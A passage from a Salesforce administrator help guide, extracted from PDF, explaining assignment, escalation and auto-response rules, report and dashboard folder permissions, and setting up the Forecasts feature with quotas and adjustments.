case records with the Priority field marked High to
trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
add up to 25 filter criteria, of up to 255 characters each.

Choose formula evaluates to true and enter a


formula that returns a value of True or False. Salesforce
triggers the rule if the formula returns True. For example,
the formula AND(ISCHANGED( Priority ),
ISPICKVAL (Priority, "High") ) triggers a rule
that changes the owner of a case when the Priority field
is changed to High. For information on using formulas,
see Building Formulas on page 1147.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
User

Specifies the user or queue to which the lead or case will be


assigned if it matches the condition. Users specified here
cannot be marked inactive and they must have Read
permission on leads or cases.
Note: You can't revoke the Read permission on
leads or cases for users assigned to a rule.
If your organization uses divisions, leads are assigned to the
default division of the user or queue specified in this field.
Cases inherit the division of the contact to which they are
related, or are assigned to the default global division if no
contact is specified.

Do Not Reassign Owner

Specifies that the current owner on a lead or case will not be


reassigned to the lead or case when it is updated.

Email Template

Specifies the template to use for the email that is automatically


sent to the new owner. If no template is specified, no email
will be sent. When assigning a lead or case to a queue, the
notification goes to the Queue Email address specified for
the queue and all queue members.

Predefined Case Teams

Specifies the predefined case team(s) to add to a case when it


matches the condition. A case team is a team of users that
work together on a case. For example, your case team may
include a support rep, support manager, and a product
manager. For more information, see Predefining Case Teams
on page 3233.

1307

Customize

Managing Assignment Rules

Field

Description
Click the Lookup icon ( ) to select a predefined case team
to add to the assignment rule. To add more predefined case
teams, click Add Row to add a new row with which you can
add a predefined case team.

Replace any existing predefined case teams


on the case

Specifies that any existing predefined case teams on the case


are replaced with the predefined case teams on the condition,
when a case matches the condition. For more information,
see Predefining Case Teams on page 3233.

After creating the entry, click Save, or Save & New to save the entry and create more entries.
Tip: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads
or cases that the previous rule entries did not assign.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

See Also:
Managing Assignment Rules
Viewing and Editing Assignment Rules

Viewing and Editing Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change assignment rules:

Customize Application

To view assignment rules:

View Setup and Configuration

To view and edit assignment rules:

To edit the name of a rule, click Rename next to the rule name.

1308

Customize

Creating Escalation Rules

To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Setting Up Assignment Rules
Managing Assignment Rules

Creating Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change escalation rules:

Customize Application

Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time.
Typically, your organization will have one escalation rule that consists of multiple entries which specify exactly how the cases
are escalated. For example, your standard case escalation rule could have two entries: cases with Type set to Gold are escalated
within two hours, and cases with Type set to Silver are escalated within eight hours.
For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits.
For information on debugging escalation rules, see What is a Debug Log? on page 2043.

See Also:
Setting Up Escalation Rules
Viewing and Editing Escalation Rules

Setting Up Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create escalation rules:

Customize Application

To create an escalation rule:


1. Choose Your Name > Setup > Customize > Cases > Escalation Rules.

1309

Customize

Creating Escalation Rules

2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save.
3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how cases are processed. For each entry, you can specify the following:
Field

Description

Order

Sets the order in which the entry will be processed in the


rule, for example, 1, 2, 3.
Salesforce evaluates each entry in order and tries to match
the criteria of the entry. As soon as a match is found,
Salesforce processes the item and stops evaluating the rule
entries for that item. If no match is found, the case is simply
not escalated.

Criteria

Specifies conditions that the case must match for it to be


escalated.
You can enter your rule criteria:

Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you
want case records with the Priority field marked High
to trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
add up to 25 filter criteria, of up to 255 characters each.

Choose formula evaluates to true and enter a


formula that returns a value of True or False.
Salesforce triggers the rule if the formula returns True.
For example, the formula AND(ISCHANGED( Priority
), ISPICKVAL (Priority, "High") ) triggers a
rule that changes the owner of a case when the
Priority field is changed to High.For information on
using formulas, see Building Formulas on page 1147.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
Specify business hours criteria

Specifies how business hours apply to an escalated case:


Ignore business hours - Select this field to ignore
business hours when escalating a case.
Use business hours specified on case - Select
this field to use the existing business hours on a case
when escalating it.
Set business hours - Select this field and click the
lookup icon ( ) to select predefined business hours to
apply to a case when escalating it.

1310

Customize

Creating Escalation Rules

Field

Description
Escalation actions only run during the business hours with
which they are associated. For more information, see Setting
Business Hours on page 1364.

Specify how escalation times are set

Determines what field applies to your Age Over number


of hours. Your Age Over setting can be based on the
number of hours since:
A case was created
The case was created unless it has been modified; once
modified, the case will never get escalated
The most recent time a case was modified
For example, if you choose Based on last
modification time of the case and your Age Over
setting is 5, cases will get escalated 5 hours after the most
recent last modified time and date as long as the case is open.

4. After creating the entry, click Save, or Save & New to save the entry and create more entries.
5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any cases that the previous rule entries did not assign.
6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of
one of the rule entries.
7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over
increasing periods of time. For each escalation action, you can specify the following:
Field

Description

Age Over

Specifies the number of hours after which a case should be


escalated if it has not been closed. This time is calculated
from the date field set in the Specify how escalation
times are set field. No two escalation actions can have
the same number in this field.

Assign To

Specifies the user, partner user, or queue to which the case


will be assigned if it matches the condition. Users specified
here cannot be marked inactive and they must have the
Read permission on cases.
Note: You can't revoke the Read permission on
leads or cases for users assigned to a rule.
Note that reassigning an escalated case is optional.

1311

Customize

Creating Escalation Rules

Field

Description

Notification Template

Specifies the template to use for the email that is


automatically sent to the new owner specified in the Assign
To field. If no template is specified, no email will be sent.

Notify this user

Specifies the user to notify when the case is escalated.


Notifying another user is optional.

Notify Case Owner

Indicates that the owner of the case is notified when the case
is escalated.

Notification Template

Specifies the template to use for the notification email that


is automatically sent to the Notify user(s). If you choose a
user in the Notify field, you must select a template.

Additional Emails

Specifies additional individuals that you want to notify upon


escalation.

Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case
matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule
entries. For example, if you have two escalation rule entries that specify:

Escalate three hours after creation date if Case Reason equals Crash
Escalate four hours after creation date if Case Reason equals Bug

A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a
user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case
Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more
than three hours ago, the case is escalated as soon as possible.
Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if
you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

See Also:
Creating Escalation Rules
Viewing and Editing Escalation Rules
Monitoring the Case Escalation Rule Queue

1312

Customize

Setting Up Auto-Response Rules

Viewing and Editing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change escalation rules:

Customize Application

To view and edit escalation rules:

To edit the name of a rule, click Rename next to the rule name.
To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Creating Escalation Rules
Setting Up Escalation Rules
Monitoring the Case Escalation Rule Queue

Setting Up Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create auto-response rules:

Customize Application

An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the
attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases
include those submitted through a:

Self-Service portal
Customer Portal
Web-to-Case form
Email-to-Case message
On-Demand Email-to-Case message

You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for
leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or
contact and the Email related list on cases.

1313

Customize

Setting Up Auto-Response Rules

Creating Auto-Response Rules


To create a Web-to-Lead response rule, click Your Name > Setup > Customize > Leads > Auto-Response Rules. To create
a response rule for cases, click Your Name > Setup > Customize > Cases > Auto-Response Rules. On the Auto-Response
Rules page:
1.
2.
3.
4.
5.

Click New.
Enter the rule name.
Check the active box to make this rule the only one activated.
Click Save.
Create rule entries.

Creating Response Rule Entries


1. Click New from the rule detail page.
2. Enter a number to specify the order this entry should be processed.
The rule processes entries in this order and stops processing at the first matching entry and then sends the email using the
specified email template. If no response rules apply, the rule uses the default template you specify on the Web-to-Case or
Web-to-Lead Settings page.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any leads or cases that the previous rule entries did not. This is especially important for Email-to-Case and
On-Demand Email-to-Case which don't have default templates.
3. Enter your rule criteria:

Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
a case filter to Priority equals High if you want case records with the Priority field marked High to trigger
the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can add
up to 25 filter criteria, of up to 255 characters each.

4.
5.
6.
7.
8.

Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce
triggers the rule if the formula returns True. For example, the formula
AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected
template if the Priority field on a case is set to High and the value of a custom field named Version on the case
is less than four. For information on using formulas, see Building Formulas on page 1147.

Enter an email senders name.


Enter an email address for the sender. This must be different from the routing address you use for Email-to-Case.
Enter a reply-to address.
Select an email template.
Click Save.

Managing Auto-Response Rules


After you've set up your auto-response rules and rule entries:

Click Edit to change the rule name.


Click New next to the Rule Entries list to create a new rule entry. Each rule can have a maximum of 3000 entries.
Click Reorder next to the Rule Entries list to change the order they are processed.
Click Edit next to a rule entry to change it.
Click Del next to a rule entry to delete it.

1314

Customize

Setting Up Auto-Response Rules

Tip: Salesforce processes any rules in the following order:


1.
2.
3.
4.
5.

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. For information
on debugging response rules, see What is a Debug Log? on page 2043.

See Also:
Differences Between Auto-Response Rules and Workflow Alerts

Differences Between Auto-Response Rules and Workflow Alerts


Auto-response rules available in: Professional, Enterprise, Unlimited, and Developer Editions
Workflow alerts available in: Enterprise, Unlimited, and Developer Editions

Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between
workflow alerts and auto-response rules to help you determine which process to use:
Type of Process

Designed For

Runs When

Sends Email To

Number of Emails
Sent

Workflow alerts

Notifications to
interested parties.

A case or lead is created Anyone you choose who Sends as many emails as
or edited.
is associated to the Case there are matching
or Lead object.
criteria in the workflow.

Auto-response rules

Initial response to the A case or lead is


contact who created a created.
case or the person who
submitted the lead on
the Web.

Contact on a case or the Sends one email based


person who submitted on the first rule entry
the lead on the Web. criteria it matches in a
sequence of rule entries.

1315

Customize

Managing Folders

Managing Folders
Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders:

Manage Public Documents

To create, edit, and delete public email template folders:

Manage Public Templates

To create, edit, and delete public report folders:

Manage Public Reports

To create, edit, and delete public dashboard folders:

Manage Dashboards AND View All Data

A folder is a place where you can store reports, dashboards, documents, or email templates. Folders can be public, hidden, or
shared, and can be set to read-only or read/write. You control who has access to its contents based on roles, permissions, public
groups, and license types. You can make a folder available to your entire organization, or make it private so that only the owner
has access.

To access document folders, click the Documents tab. See Document Library Overview for information on displaying the
Documents tab.
To access email template folders, click Your Name > Setup > Communication Templates > Email Templates.
To access report folders, click the Reports tab, or to manage all of your organizations report folders, click Your Name >
Setup > Customize > Reports.
To access dashboard folders, click the Dashboards tab.

To create a new folder, click Create New Folder.


To edit a folder, click Edit next to the folder name. Alternatively, select a folder name from the Folder drop-down list and
click Edit.
Note: You can modify the contents of a folder only if the folder access level is set to Read/Write. Only users with the
Manage Public Documents or Manage Public Templates can delete or change a Read Only folder. Regardless of
permissions or folder settings, users can't edit any unfiled or personal folders.

Controlling Access to Report Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of report folders: public, hidden, and shared folders.
Public Folders
The following settings apply to folders with either of the following visibility settings:

This folder is accessible by all users, including portal users


This folder is accessible by all users, except for portal users

1316

Customize

Managing Folders

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

Any of the following:


Run Reports
Manage Public Reports
View All Data

Any of the following:


Run Reports
Manage Public Reports
View All Data

Write New

Manage Public Reports

Create and Customize Reports

Modify/Delete

Manage Public Reports

Manage Public Reports

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

View All Data

View All Data

Write New

Manage Public Reports

Manage Public Reports

Modify/Delete

Manage Public Reports

Manage Public Reports

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

Any of the following:


Run Reports (for shared users)
Manage Public Reports
View All Data

Any of the following:


Run Reports (for shared users)
Manage Public Reports (for shared users)
View All Data

Write New

Manage Public Reports

Create and Customize Reports (for shared


users)

Modify/Delete

Manage Public Reports

Manage Public Reports

Hidden Folders

Shared Folders

Controlling Access to Dashboard Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of dashboard folders: public, hidden, and shared folders.
Public Folders
The following settings apply to folders with either of the following visibility settings:

This folder is accessible by all users, including portal users


This folder is accessible by all users, except for portal users

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

Run Reports

Run Reports

1317

Customize

Managing Folders

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Write New

All of the following:


Run Reports
Manage Dashboards
View All Data

Both of the following:


Run Reports
Manage Dashboards

Modify/Delete

All of the following:


Run Reports
Manage Dashboards
View All Data

All of the following:


Run Reports
Manage Dashboards
View All Data

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

Both of the following:


Run Reports
View All Data

Both of the following:


Run Reports
View All Data

Write New

All of the following:


Run Reports
Manage Dashboards
View All Data

All of the following:


Run Reports
Manage Dashboards
View All Data

Modify/Delete

All of the following:


Run Reports
Manage Dashboards
View All Data

All of the following:


Run Reports
Manage Dashboards
View All Data

Access Level

Permissions to Access Read-Only Folders

Permissions to Access Read/Write Folders

Read

Run Reports

Run Reports

Write New

All of the following:


Run Reports
Manage Dashboards
View All Data

Both of the following:


Run Reports
Manage Dashboards

Modify/Delete

All of the following:


Run Reports
Manage Dashboards

All of the following:


Run Reports
Manage Dashboards

Hidden Folders

Shared Folders

1318

Customize

Creating and Editing Folders

Access Level

Permissions to Access Read-Only Folders

View All Data

Permissions to Access Read/Write Folders

View All Data

See Also:
Analytics Overview
Creating and Editing Folders
Deleting Folders
Filing Items in Folders

Creating and Editing Folders


Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders:

Manage Public Documents

To create, edit, and delete public email template folders:

Manage Public Templates

To create, edit, and delete public report folders:

Manage Public Reports

To create, edit, and delete public dashboard folders:

Manage Dashboards AND View All Data

Click Create New Folder or Edit from most pages that list folders. On the Reports tab, click
Folder or New Dashboard Folder to create a folder, or click

and select New Report

to edit.

1. Enter a Folder Label. The label is used to refer to the folder on user interface pages.
2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages.
3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents.
A read-only folder can be visible to users but they can't change its contents.
4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document
folders.
5. Choose a folder visibility option:

This folder is accessible by all users, including portal users gives folder access to all users

in your organization, including portal users.

This folder is accessible by all users, except for portal users gives folder access to all users

in your organization, but denies access to portal users. This option is only available for report and dashboard folders in
organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it.
This folder is hidden from all users makes the folder private.

1319

Customize

Deleting Folders

This folder is accessible only by the following users allows you to grant access to a desired set of

users:
a. Choose Public Groups, Roles, Roles and Subordinates, Roles, Internal and Portal Subordinates (if you have
portals enabled), Territories, or Territories and Subordinates from the Search drop-down list. The choices
vary by Edition and whether your organization has territory management.
Note: When you share a folder with a group, managers of the group members have no access to the folder
unless those managers are also members of the group.
b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and
click Find.
c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared
To list.
6. Click Save.
See Managing Folders for the required permissions to create new folders.

See Also:
Deleting Folders
Filing Items in Folders
Managing Folders

Deleting Folders
Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders:

Manage Public Documents

To create, edit, and delete public email template folders:

Manage Public Templates

To create, edit, and delete public report folders:

Manage Public Reports

To create, edit, and delete public dashboard folders:

Manage Dashboards AND View All Data

You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports
from the folder you would like to delete.
1. Click Edit next to the folder name from any page that lists folders. On the Reports tab, click
then Edit in the Folders
pane. If you're not seeing If you don't see some of the features described here, check that you're using a supported browser
and ask your administrator to enable the new user interface theme.

1320

Customize

Filing Items in Folders

2. Click Delete or
then Delete.
3. Click OK to confirm.
See Managing Folders for the required permissions to delete a folder.

See Also:
Creating and Editing Folders
Filing Items in Folders
Managing Folders

Filing Items in Folders


Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders:

Manage Public Documents

To create, edit, and delete public email template folders:

Manage Public Templates

To create, edit, and delete public report folders:

Manage Public Reports

To create, edit, and delete public dashboard folders:

Manage Dashboards AND View All Data

To move a document, dashboard, report, or email template to a different folder:


1.
2.
3.
4.

Select the item to be stored in a folder.


Click Edit Properties.
Choose another folder.
Click Save.

See Managing Folders for the necessary permissions to perform this task.
Just like report folders contain reports and email template folders contain email templates, document folders can only contain
documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document
library.

1321

Forecasts

Setting Up Forecasts

Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be
marked as Available for Use.

See Also:
Deleting Folders
Filing Items in Folders
Managing Folders

FORECASTS
Setting Up Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Important:

This information applies to the Forecasts product beginning with the Winter '12 release. If you use Customizable
Forecasts, see Customizable Forecasting Home.
For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for
your organization. See Customizing User Interface Settings for information on user interface settings. Additionally,
Territory Management must not be enabled.

If your organization is migrating to Forecasts, see Planning Your Migration from Customizable Forecasting to Forecasts on
page 1330. To set up the forecasts feature, you need to:

Enable users who need to use forecasts.


Set up your forecasts hierarchy to determine how forecasts roll up within your organization and who can view and adjust
them.
Enable quotas to make this functionality available in your organization.
Enable forecasts adjustments for your organization and for specific user profiles to make this functionality available in your
organization.
Define your forecast range. You can use the default of six months or define a range of up to 12 months in the past or future.
If your organization uses multiple currencies, set a forecast currency. You can select either your organization's corporate
currency or the forecast owner's personal currency.
Make sure the Forecasts tab is visible to forecasting users. See Viewing and Editing Tab Settings in Permission Sets and
Profiles for information on setting tabs.

If your organization uses specific terminology, you can customize your forecast categories.

See Also:
What's the difference between the Forecasting features?

1322

Customize

Defining Forecasts Settings

Defining Forecasts Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

To manage quotas:

Manage Quotas

Important:

This information applies to the Forecasts product beginning with the Winter '12 release. If you use Customizable
Forecasts, see Customizable Forecasting Home.
For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for
your organization. See Customizing User Interface Settings for information on user interface settings. Additionally,
Territory Management must not be enabled.

Before you begin, make sure that your organization has the Winter '12 release of forecasting. Starting in Winter '12, Forecasts
is enabled for all new organizations. If you're an existing organization using Forecasts (Classic) or Customizable Forecasts and
want to use Forecasts, contact your salesforce.com representative.
1. Click Your Name > Setup > Customize > Forecasts > Settings. If forecasts is not already enabled, select Enable
Forecasts and click Save.
2. Click Edit Forecast settings for your company.
3. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display.
4. If you need to, customize your Forecast Categories.
5. Optionally enable quotas for your organization.
6. Optionally enable forecasts adjustments for your organization and for specific users.
7. If your organization uses multiple currencies, select the currency in which your users will forecast.
8. Click Save.
You can always return to the Forecasts Settings page to make adjustments. Now you can enable users who need to use forecasts
and set up your forecasts hierarchy to determine how forecasts roll up within your organization, and who can view and adjust
them.

See Also:
Setting Up Forecasts
Defining Your Organization's Forecast Date Range
What's the difference between the Forecasting features?

1323

Customize

Enabling Users for Forecasts

Enabling Users for Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Users.
For each user you want to enable, click Edit.
Under General Information, select Allow Forecasting.
Click Save.

Enabled users are available in the forecasts hierarchy.


You can also enable additional users or disable users you've already enabled when you configure your forecast hierarchy.

See Also:
Setting Up Your Forecast Hierarchy
Setting Up Forecasts

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.

1324

Customize

Enabling Quotas in Forecasts

When you assign a user as a forecast manager, all forecasts and adjustments from the manager's subordinates in the hierarchy
roll up into his or her forecasts. It's important to always assign a forecast manager to the top level of the forecast hierarchy.
1. Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy. Click on Expand All and youll see the roles
available in your organization.
2. Click Enable Users and use
and
to move users from the Available Users list to the Enabled Users list. If you
previously enabled a user by clicking Your Name > Setup > Manage Users > Users and editing a user page to allow
forecasting, the name already appears in the Enabled Users list.
3. If you need to, select a forecast manager for each manager role in the hierarchy. Click Edit Manager next to the role, then
select a name from the Forecast Manager drop-down list.
4. Click Save.
If your organization needs to adjust forecasts, enable adjustments next.

See Also:
Enabling Forecasts Adjustments
Enabling Users for Forecasts
Setting Up Forecasts

Enabling Quotas in Forecasts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

To manage quotas:

Manage Quotas

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
A quota is the sales goal assigned to a user on a monthly basis. A managers quota equals the amount the manager and team
are expected to generate together. The roll up is done manually by users and managers. Follow these steps to enable quotas
for Forecasts in your organization:
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Quotas, select Show Quotas.
3. Click Save.
Quota data must be loaded through the API. Consider using the Data Loader for this task. (You must use API version 25 or
later.) For example, you might have a CSV file with column names such as User ID, Quota Amount, Currency Code, and
Month [YYYY-MM-DD].

1325

Customize

Enabling Forecasts Adjustments

Map these columns to the QuotaOwnerId, QuotaAmount, CurrencyIsoCode, and StartDate fields in the
ForecastingQuota object and use the Data Loader to upload your quota information to Salesforce.com. For more details about
Data Loader, see Data Loader Overview. on page 825 As a best practice, load quota data in the quota owners personal currency.
Note that you can still upload quota data using the API even if Show Quotas is disabled.
Note: If you disable Forecasts, quotas are also disabled.

See Also:
Forecasts Quotas Overview
Setting Up Forecasts

Enabling Forecasts Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Before enabling adjustments, make sure you've set up your forecast hierarchy.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Forecasts > Settings.
Under Adjustments, select Enable Adjustments.
Click Save.
Click Your Name > Setup > Manage Users > Profiles.
Find a profile for which you want adjustments enabled.

1326

Customize

Disabling Forecasts Adjustments

6. If youre using the enhanced profile user interface, click App Permissions and click Edit.
7. Select Override Forecasts and click Save.

See Also:
Forecasts Adjustments Overview
Disabling Forecasts Adjustments
Setting Up Forecasts
Defining Your Organization's Forecast Date Range

Disabling Forecasts Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Caution: Disabling forecasts adjustments purges existing adjustments. Before disabling adjustments, see Understanding
Adjustments Purges.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Adjustments, deselect Enable Adjustments.
3. Click Save. You don't need to update user permissions because adjustments are now disabled for your entire organization.
Say you have forecast managers who adjusted forecast amounts for some direct reports. After you disable adjustments for your
organization, the next time the managers view their respective forecast rollups, no adjustments will appear.

See Also:
Forecasts Adjustments Overview
Enabling Forecasts Adjustments

1327

Customize

Selecting a Forecast Currency

Selecting a Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Before selecting a forecast currency, review information in Working With Multiple Currencies in Forecasts.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Forecast Currency, choose a forecast currency option.
3. Click Save.

See Also:
Forecasts Adjustments Overview

Defining Your Organization's Forecast Date Range


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
The Forecasts rollup table shows forecast amounts for individual months and a range of months. Six months is the default,
but you can show up to 12 months in the past or the future. If your forecast range includes the current month, that month is
selected by default when you view the rollup table on a forecasts page. When you select the forecast date range for your

1328

Customize

Customizing Forecasts Categories

organization, it becomes the default for all Forecasts users. Users can use this default or they can set a different date range
display for their own forecasts. Once users change their forecast date range displays, you cant override them.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display.
3. Click Save.

See Also:
Setting Up Forecasts
Changing Your Forecast Date Range Display

Customizing Forecasts Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Forecasts users:

Manage Users
AND
Customize Application

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
A forecast category is the category within the sales cycle that an opportunity is assigned to based on its opportunity stage. The
standard forecast categories are Pipeline, Best Case, Commit, Omitted, and Closed. You can customize forecast category
names for your organization. The forecast categories display information for that specific category; for example, Best Case
only reflects amounts in the Best Case category.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Opportunities > Fields.
Click Forecast Category.
Click Edit for any value you want to edit in the Forecasts Category Picklist Values.
Enter a forecast category name.
Click Save.

New forecast category names appear on opportunity records and forecasts.

See Also:
Setting Up Forecasts

1329

Customize

Planning Your Migration from Customizable Forecasting to Forecasts

Planning Your Migration from Customizable Forecasting


to Forecasts
User Permissions Needed
To enable Forecasts users:

Manage Users
AND
Customize Application

To manage quotas:

Manage Quotas

Note: This information applies to organizations who want to migrate from Customizable Forecasts to the Forecasts
product first released in Winter '12.
Beginning with the Winter 12 release, the Forecasts product includes much of the same functionality as Customizable
Forecasts. When migrating to Forecasts from Customizable Forecasts keep the following in mind:

To enable Forecasts, Customizable Forecasts must be disabled first.


Organizations using territory management, PRM, or custom fiscal years cant migrate to Forecasts at this time.
The forecast history, overrides, reports, and sharing data from Customizable Forecasts are purged.
Prior to migrating to Forecasts, consider exporting forecasting report data.
Forecast hierarchy is retained. However, to reduce the chance of potential data loss, consider migrating to Forecasts
immediately after disabling Customizable Forecasts. Since the hierarchy is retained, do not enable Forecasts users again
after migrating. Instead, after migration validate all hierarchies for accuracy.

Before migrating, make sure to review What's the difference between the Forecasting features? to determine if you can benefit
from the latest improvements offered in Forecasts.

See Also:
Setting Up Forecasts

1330

Activities

Customizing Activity Settings

ACTIVITIES
Customizing Activity Settings
The availability of these settings varies by Edition. However, most are available in All Editions.

User Permissions Needed


To view activity settings:

View Setup and Configuration

To customize activity settings:

Customize Application

On the Activity Settings page at Your Name > Setup > Customize > Activities > Activity Settings, you can manage the
following activity-related features:

Enable Group Tasks


Enable Sidebar Calendar Shortcut
Enable Creation of Recurring Events
Enable Creation of Recurring Tasks
Enable Activity Reminders
Enable Email Tracking
Show Event Details on Multi-User Calendar View
Enable Multiday Events
Show Custom Logo in Meeting Requests
Show Requested Meetings in the Calendar Section on the Home Tab
Allow Users to Relate Multiple Contacts to Tasks

Enable Group Tasks


Enabled by default for all Editions except Database.com. Select this checkbox to let users assign independent copies of
a new task to multiple users. For more information on creating group tasks, see Creating Group Tasks on page 166.
Enable Sidebar Calendar Shortcut
